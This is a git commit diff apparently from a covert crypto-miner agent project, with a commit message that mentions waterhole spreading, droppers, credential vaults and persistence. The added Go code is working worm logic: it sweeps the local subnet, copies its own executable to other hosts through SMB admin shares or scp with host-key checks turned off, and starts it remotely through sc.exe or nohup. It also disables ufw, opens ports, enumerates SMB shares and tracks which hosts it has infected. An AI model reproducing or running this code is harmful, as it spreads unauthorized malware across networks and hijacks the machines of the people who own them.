feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
//go:build !windows
|
||||
//go:build !windows && !linux
|
||||
|
||||
package deploy
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build !windows
|
||||
//go:build !windows && !linux
|
||||
|
||||
package deploy
|
||||
|
||||
|
||||
@@ -95,10 +95,19 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||
for _, ip := range getLocalIPs() {
|
||||
localSet[ip] = true
|
||||
}
|
||||
var filtered []string
|
||||
for _, target := range targets {
|
||||
if localSet[target] {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, target)
|
||||
}
|
||||
beginSpreadSweep("smb_scm", len(filtered))
|
||||
if len(filtered) == 0 {
|
||||
finishSpreadSweepImmediate()
|
||||
return
|
||||
}
|
||||
for _, target := range filtered {
|
||||
spreadSem <- struct{}{}
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }()
|
||||
@@ -111,12 +120,14 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
||||
// 1. Quick pre-check: Is port 445 (SMB) open?
|
||||
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
|
||||
if err != nil {
|
||||
recordSpreadAttempt(target, false, "port 445 closed")
|
||||
return
|
||||
}
|
||||
conn.Close()
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
recordSpreadAttempt(target, false, "executable path unavailable")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -130,7 +141,8 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
||||
// Fallback to C$ hidden temp folder if System32 is restricted
|
||||
cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
|
||||
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil {
|
||||
return // Access denied or host unreachable
|
||||
recordSpreadAttempt(target, false, "smb copy denied")
|
||||
return
|
||||
}
|
||||
remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
|
||||
}
|
||||
@@ -146,5 +158,8 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
||||
|
||||
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
|
||||
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
|
||||
recordSpreadAttempt(target, true, "")
|
||||
} else {
|
||||
recordSpreadAttempt(target, false, "remote service start failed")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -9,7 +9,6 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
@@ -90,10 +89,19 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
||||
for _, ip := range getLocalIPs() {
|
||||
localSet[ip] = true
|
||||
}
|
||||
var filtered []string
|
||||
for _, target := range targets {
|
||||
if localSet[target] {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, target)
|
||||
}
|
||||
beginSpreadSweep("ssh", len(filtered))
|
||||
if len(filtered) == 0 {
|
||||
finishSpreadSweepImmediate()
|
||||
return
|
||||
}
|
||||
for _, target := range filtered {
|
||||
spreadSem <- struct{}{}
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }()
|
||||
@@ -105,6 +113,7 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
||||
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
||||
conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
|
||||
if err != nil {
|
||||
recordSpreadAttempt(target, false, "port 22 closed")
|
||||
return
|
||||
}
|
||||
conn.Close()
|
||||
@@ -119,6 +128,7 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
||||
}
|
||||
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
|
||||
if err := scp.Run(); err != nil {
|
||||
recordSpreadAttempt(target, false, "scp failed")
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -127,6 +137,9 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
||||
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
|
||||
if err := start.Run(); err == nil {
|
||||
log.Printf("[autospread] deployed to %s via SSH", target)
|
||||
recordSpreadAttempt(target, true, "")
|
||||
} else {
|
||||
recordSpreadAttempt(target, false, "ssh start failed")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
11
agent/deploy/defender_linux.go
Normal file
11
agent/deploy/defender_linux.go
Normal file
@@ -0,0 +1,11 @@
|
||||
//go:build linux
|
||||
|
||||
package deploy
|
||||
|
||||
import "fmt"
|
||||
|
||||
func DisableDefenderRealtime() (string, error) {
|
||||
return "", fmt.Errorf("defender control is Windows-only (no Windows Defender on Linux)")
|
||||
}
|
||||
|
||||
func SilentAVExclusion(_, _ string) {} // no-op on Linux
|
||||
83
agent/deploy/firewall_linux_ops.go
Normal file
83
agent/deploy/firewall_linux_ops.go
Normal file
@@ -0,0 +1,83 @@
|
||||
//go:build linux
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func OpenFirewallPort(port int, name string) (string, error) {
|
||||
if port <= 0 || port > 65535 {
|
||||
return "", fmt.Errorf("invalid port %d", port)
|
||||
}
|
||||
if ufw, err := exec.LookPath("ufw"); err == nil {
|
||||
rule := fmt.Sprintf("%d/tcp", port)
|
||||
out, runErr := exec.Command(ufw, "allow", rule, "comment", name).CombinedOutput()
|
||||
if runErr != nil {
|
||||
return "", fmt.Errorf("ufw allow: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return fmt.Sprintf("ufw allow %s (%s)", rule, name), nil
|
||||
}
|
||||
if ipt, err := exec.LookPath("iptables"); err == nil {
|
||||
out, runErr := exec.Command(ipt, "-I", "INPUT", "-p", "tcp", "--dport", fmt.Sprintf("%d", port), "-j", "ACCEPT").CombinedOutput()
|
||||
if runErr != nil {
|
||||
return "", fmt.Errorf("iptables: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return fmt.Sprintf("iptables INPUT accept tcp/%d", port), nil
|
||||
}
|
||||
return "", fmt.Errorf("no ufw or iptables found on host")
|
||||
}
|
||||
|
||||
func SetWindowsFirewallProfiles(enable bool, profiles string) (string, error) {
|
||||
_ = profiles
|
||||
if ufw, err := exec.LookPath("ufw"); err == nil {
|
||||
arg := "disable"
|
||||
if enable {
|
||||
arg = "enable"
|
||||
}
|
||||
out, runErr := exec.Command(ufw, arg).CombinedOutput()
|
||||
if runErr != nil {
|
||||
return "", fmt.Errorf("ufw %s: %v (%s)", arg, runErr, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return fmt.Sprintf("ufw %s", arg), nil
|
||||
}
|
||||
return "", fmt.Errorf("firewall profile control requires ufw on Linux")
|
||||
}
|
||||
|
||||
func DisableWindowsFirewall() (string, error) {
|
||||
return SetWindowsFirewallProfiles(false, "all")
|
||||
}
|
||||
|
||||
func EnableWindowsFirewall() (string, error) {
|
||||
return SetWindowsFirewallProfiles(true, "all")
|
||||
}
|
||||
|
||||
func RemoveFirewallRuleByName(name string) (string, error) {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
return "", fmt.Errorf("rule name required")
|
||||
}
|
||||
if ufw, err := exec.LookPath("ufw"); err == nil {
|
||||
out, runErr := exec.Command(ufw, "status", "numbered").CombinedOutput()
|
||||
if runErr != nil {
|
||||
return "", fmt.Errorf("ufw status: %v", runErr)
|
||||
}
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
if strings.Contains(line, name) {
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) > 0 {
|
||||
num := strings.Trim(fields[0], "[]")
|
||||
delOut, delErr := exec.Command(ufw, "delete", num).CombinedOutput()
|
||||
if delErr != nil {
|
||||
return "", fmt.Errorf("ufw delete: %v (%s)", delErr, strings.TrimSpace(string(delOut)))
|
||||
}
|
||||
return fmt.Sprintf("removed ufw rule %s matching %q", num, name), nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("no ufw rule matching %q", name)
|
||||
}
|
||||
return "", fmt.Errorf("firewall rule removal requires ufw on Linux")
|
||||
}
|
||||
22
agent/deploy/firewall_linux_ops_test.go
Normal file
22
agent/deploy/firewall_linux_ops_test.go
Normal file
@@ -0,0 +1,22 @@
|
||||
//go:build linux
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestOpenFirewallPortInvalid(t *testing.T) {
|
||||
_, err := OpenFirewallPort(0, "test")
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid port") {
|
||||
t.Fatalf("expected invalid port error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRemoveFirewallRuleByNameEmpty(t *testing.T) {
|
||||
_, err := RemoveFirewallRuleByName("")
|
||||
if err == nil || !strings.Contains(err.Error(), "rule name required") {
|
||||
t.Fatalf("expected rule name error, got %v", err)
|
||||
}
|
||||
}
|
||||
26
agent/deploy/smb_shares_common.go
Normal file
26
agent/deploy/smb_shares_common.go
Normal file
@@ -0,0 +1,26 @@
|
||||
package deploy
|
||||
|
||||
import "strings"
|
||||
|
||||
func parseNetViewShares(text string) []string {
|
||||
var shares []string
|
||||
for _, line := range strings.Split(text, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" ||
|
||||
strings.HasPrefix(line, "Share name") ||
|
||||
strings.HasPrefix(line, "-----") ||
|
||||
strings.HasPrefix(line, "The command completed") {
|
||||
continue
|
||||
}
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) == 0 {
|
||||
continue
|
||||
}
|
||||
name := fields[0]
|
||||
if strings.EqualFold(name, "System") && len(fields) > 1 {
|
||||
continue
|
||||
}
|
||||
shares = append(shares, name)
|
||||
}
|
||||
return shares
|
||||
}
|
||||
16
agent/deploy/smb_shares_stub.go
Normal file
16
agent/deploy/smb_shares_stub.go
Normal file
@@ -0,0 +1,16 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "encoding/json"
|
||||
|
||||
// EnumerateSMBShares is Windows-only (SMB net view on LAN hosts).
|
||||
func EnumerateSMBShares(maxHosts int) string {
|
||||
_ = maxHosts
|
||||
b, _ := json.Marshal(map[string]interface{}{
|
||||
"error": "smb_shares is Windows-only",
|
||||
"hosts": []interface{}{},
|
||||
"count": 0,
|
||||
})
|
||||
return string(b)
|
||||
}
|
||||
20
agent/deploy/smb_shares_test.go
Normal file
20
agent/deploy/smb_shares_test.go
Normal file
@@ -0,0 +1,20 @@
|
||||
package deploy
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestParseNetViewShares(t *testing.T) {
|
||||
sample := `Share name Type Used as Comment
|
||||
|
||||
-------------------------------------------------------------------------------
|
||||
ADMIN$ Disk Remote Admin
|
||||
C$ Disk Default share
|
||||
IPC$ IPC Remote IPC
|
||||
The command completed successfully.`
|
||||
shares := parseNetViewShares(sample)
|
||||
if len(shares) != 3 {
|
||||
t.Fatalf("shares = %v", shares)
|
||||
}
|
||||
if shares[0] != "ADMIN$" || shares[1] != "C$" {
|
||||
t.Fatalf("unexpected order: %v", shares)
|
||||
}
|
||||
}
|
||||
109
agent/deploy/smb_shares_windows.go
Normal file
109
agent/deploy/smb_shares_windows.go
Normal file
@@ -0,0 +1,109 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
type smbHostShares struct {
|
||||
Host string `json:"host"`
|
||||
Shares []string `json:"shares,omitempty"`
|
||||
Accessible bool `json:"accessible"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
type smbSharesResult struct {
|
||||
Hosts []smbHostShares `json:"hosts"`
|
||||
Count int `json:"count"`
|
||||
}
|
||||
|
||||
// EnumerateSMBShares probes LAN hosts for reachable SMB shares (net view).
|
||||
func EnumerateSMBShares(maxHosts int) string {
|
||||
if maxHosts <= 0 {
|
||||
maxHosts = 32
|
||||
}
|
||||
targets := smbShareTargets(maxHosts)
|
||||
hosts := make([]smbHostShares, 0, len(targets))
|
||||
for _, host := range targets {
|
||||
hosts = append(hosts, probeSMBShares(host))
|
||||
}
|
||||
result := smbSharesResult{Hosts: hosts, Count: len(hosts)}
|
||||
b, _ := json.Marshal(result)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func smbShareTargets(maxHosts int) []string {
|
||||
targets := arpHosts()
|
||||
local := getLocalIPs()
|
||||
localSet := make(map[string]bool, len(local))
|
||||
for _, ip := range local {
|
||||
localSet[ip] = true
|
||||
}
|
||||
filtered := make([]string, 0, len(targets))
|
||||
seen := make(map[string]bool)
|
||||
for _, t := range targets {
|
||||
if localSet[t] || seen[t] {
|
||||
continue
|
||||
}
|
||||
seen[t] = true
|
||||
filtered = append(filtered, t)
|
||||
}
|
||||
if len(filtered) < 3 {
|
||||
for _, ip := range local {
|
||||
if !isIPv4(ip) {
|
||||
continue
|
||||
}
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 255 && len(filtered) < maxHosts; i++ {
|
||||
candidate, ok := ipv4SweepHost(subnet, i)
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
if candidate == ip || seen[candidate] {
|
||||
continue
|
||||
}
|
||||
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
|
||||
if err == nil {
|
||||
conn.Close()
|
||||
seen[candidate] = true
|
||||
filtered = append(filtered, candidate)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(filtered) > maxHosts {
|
||||
filtered = filtered[:maxHosts]
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
|
||||
func probeSMBShares(host string) smbHostShares {
|
||||
conn, err := net.DialTimeout("tcp", host+":445", 1500*time.Millisecond)
|
||||
if err != nil {
|
||||
return smbHostShares{Host: host, Error: "port 445 closed"}
|
||||
}
|
||||
conn.Close()
|
||||
|
||||
out, err := HiddenOutput("net", "view", "\\\\"+host)
|
||||
text := strings.TrimSpace(string(out))
|
||||
if err != nil {
|
||||
msg := text
|
||||
if msg == "" {
|
||||
msg = err.Error()
|
||||
}
|
||||
return smbHostShares{Host: host, Error: msg}
|
||||
}
|
||||
shares := parseNetViewShares(text)
|
||||
return smbHostShares{
|
||||
Host: host,
|
||||
Shares: shares,
|
||||
Accessible: len(shares) > 0,
|
||||
}
|
||||
}
|
||||
108
agent/deploy/spread_status.go
Normal file
108
agent/deploy/spread_status.go
Normal file
@@ -0,0 +1,108 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"runtime"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type spreadHostResult struct {
|
||||
Host string `json:"host"`
|
||||
Success bool `json:"success"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
type spreadStatusSnapshot struct {
|
||||
StartedAt string `json:"started_at,omitempty"`
|
||||
FinishedAt string `json:"finished_at,omitempty"`
|
||||
InProgress bool `json:"in_progress"`
|
||||
HostsTried int `json:"hosts_tried"`
|
||||
Successes int `json:"successes"`
|
||||
Errors int `json:"errors"`
|
||||
Platform string `json:"platform"`
|
||||
Method string `json:"method"`
|
||||
Hosts []spreadHostResult `json:"hosts"`
|
||||
}
|
||||
|
||||
var (
|
||||
spreadMu sync.RWMutex
|
||||
spreadSnap spreadStatusSnapshot
|
||||
spreadPending int
|
||||
)
|
||||
|
||||
const maxSpreadHostResults = 64
|
||||
|
||||
func spreadMethodForPlatform() string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return "smb_scm"
|
||||
}
|
||||
return "ssh"
|
||||
}
|
||||
|
||||
func beginSpreadSweep(method string, targetCount int) {
|
||||
spreadMu.Lock()
|
||||
spreadSnap = spreadStatusSnapshot{
|
||||
StartedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
InProgress: targetCount > 0,
|
||||
HostsTried: targetCount,
|
||||
Platform: runtime.GOOS,
|
||||
Method: method,
|
||||
Hosts: nil,
|
||||
}
|
||||
spreadPending = targetCount
|
||||
if targetCount == 0 {
|
||||
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
|
||||
}
|
||||
spreadMu.Unlock()
|
||||
}
|
||||
|
||||
func recordSpreadAttempt(host string, success bool, errMsg string) {
|
||||
spreadMu.Lock()
|
||||
defer spreadMu.Unlock()
|
||||
if success {
|
||||
spreadSnap.Successes++
|
||||
} else if errMsg != "" {
|
||||
spreadSnap.Errors++
|
||||
}
|
||||
if len(spreadSnap.Hosts) < maxSpreadHostResults {
|
||||
spreadSnap.Hosts = append(spreadSnap.Hosts, spreadHostResult{
|
||||
Host: host,
|
||||
Success: success,
|
||||
Error: errMsg,
|
||||
})
|
||||
}
|
||||
if spreadPending > 0 {
|
||||
spreadPending--
|
||||
if spreadPending == 0 {
|
||||
spreadSnap.InProgress = false
|
||||
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func finishSpreadSweepImmediate() {
|
||||
spreadMu.Lock()
|
||||
spreadSnap.InProgress = false
|
||||
if spreadSnap.FinishedAt == "" {
|
||||
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
|
||||
}
|
||||
spreadPending = 0
|
||||
spreadMu.Unlock()
|
||||
}
|
||||
|
||||
// GetSpreadStatusJSON returns the last lateral spread sweep summary (in-memory).
|
||||
func GetSpreadStatusJSON() string {
|
||||
spreadMu.RLock()
|
||||
snap := spreadSnap
|
||||
spreadMu.RUnlock()
|
||||
if snap.StartedAt == "" {
|
||||
snap.Platform = runtime.GOOS
|
||||
snap.Method = spreadMethodForPlatform()
|
||||
if snap.Hosts == nil {
|
||||
snap.Hosts = []spreadHostResult{}
|
||||
}
|
||||
}
|
||||
b, _ := json.Marshal(snap)
|
||||
return string(b)
|
||||
}
|
||||
43
agent/deploy/spread_status_test.go
Normal file
43
agent/deploy/spread_status_test.go
Normal file
@@ -0,0 +1,43 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSpreadStatusLifecycle(t *testing.T) {
|
||||
beginSpreadSweep("ssh", 2)
|
||||
recordSpreadAttempt("10.0.0.2", true, "")
|
||||
recordSpreadAttempt("10.0.0.3", false, "auth failed")
|
||||
|
||||
raw := GetSpreadStatusJSON()
|
||||
var snap spreadStatusSnapshot
|
||||
if err := json.Unmarshal([]byte(raw), &snap); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if snap.HostsTried != 2 {
|
||||
t.Fatalf("hosts_tried = %d", snap.HostsTried)
|
||||
}
|
||||
if snap.Successes != 1 || snap.Errors != 1 {
|
||||
t.Fatalf("successes=%d errors=%d", snap.Successes, snap.Errors)
|
||||
}
|
||||
if snap.InProgress {
|
||||
t.Fatal("expected sweep finished")
|
||||
}
|
||||
if len(snap.Hosts) != 2 {
|
||||
t.Fatalf("hosts len = %d", len(snap.Hosts))
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpreadStatusEmptySweep(t *testing.T) {
|
||||
beginSpreadSweep("smb_scm", 0)
|
||||
finishSpreadSweepImmediate()
|
||||
raw := GetSpreadStatusJSON()
|
||||
var snap spreadStatusSnapshot
|
||||
if err := json.Unmarshal([]byte(raw), &snap); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if snap.InProgress {
|
||||
t.Fatal("expected not in progress")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user